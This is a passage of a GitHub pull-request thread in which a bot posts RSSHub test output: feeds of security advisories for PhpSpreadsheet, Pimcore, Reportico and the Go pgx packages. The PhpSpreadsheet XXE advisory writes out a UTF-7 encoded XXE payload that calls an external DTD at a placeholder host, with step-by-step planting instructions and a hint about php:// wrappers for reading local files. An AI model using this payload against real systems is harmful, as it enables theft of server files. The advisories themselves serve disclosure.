        &lt;li&gt;&lt;a href=&quot;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&quot;&gt;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&quot;&gt;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&quot;&gt;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[reportico-web/reportico] SQL Injection vulnerability in Reportico Till</title>
      <description>&lt;p&gt;SQL Injection vulnerability in Reportico Till 8.1.0 allows attackers to obtain sensitive information or other system information via the project parameter.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/reportico-web/reportico/issues/52&quot;&gt;https://github.com/reportico-web/reportico/issues/52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jjf4-959w-f545&quot;&gt;https://github.com/advisories/GHSA-jjf4-959w-f545&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jjf4-959w-f545</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jjf4-959w-f545</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/go - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - go</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/go" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - go - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:32:37 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[github.com/jackc/pgproto3/v2] pgproto3 SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v2.3.3&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27304&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-27304&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7jwh-3vrq-q3m8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7jwh-3vrq-q3m8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v5] pgx SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2 and v5.5.4.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&quot;&gt;https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mrww-27vc-gghv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mrww-27vc-gghv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/jackc/pgx/v4] pgx SQL Injection via Protocol Message Size Overflow</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer overflow in the calculated message size can cause the one large message to be sent as multiple messages under the attacker&#39;s control.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem is resolved in v4.18.2 and v5.5.4.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Reject user input large enough to cause a single query or bind message to exceed 4 GB in size.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&quot;&gt;https://github.com/jackc/pgproto3/security/advisories/GHSA-7jwh-3vrq-q3m8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&quot;&gt;https://github.com/jackc/pgx/security/advisories/GHSA-mrww-27vc-gghv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&quot;&gt;https://github.com/jackc/pgproto3/commit/945c2126f6db8f3bea7eeebe307c01fe92bca007&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&quot;&gt;https://github.com/jackc/pgx/commit/adbb38f298c76e283ffc7c7a3f571036fea47fd4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&quot;&gt;https://github.com/jackc/pgx/commit/c543134753a0c5d22881c12404025724cb05ffd8&lt;/a&gt;&lt;/li&gt;
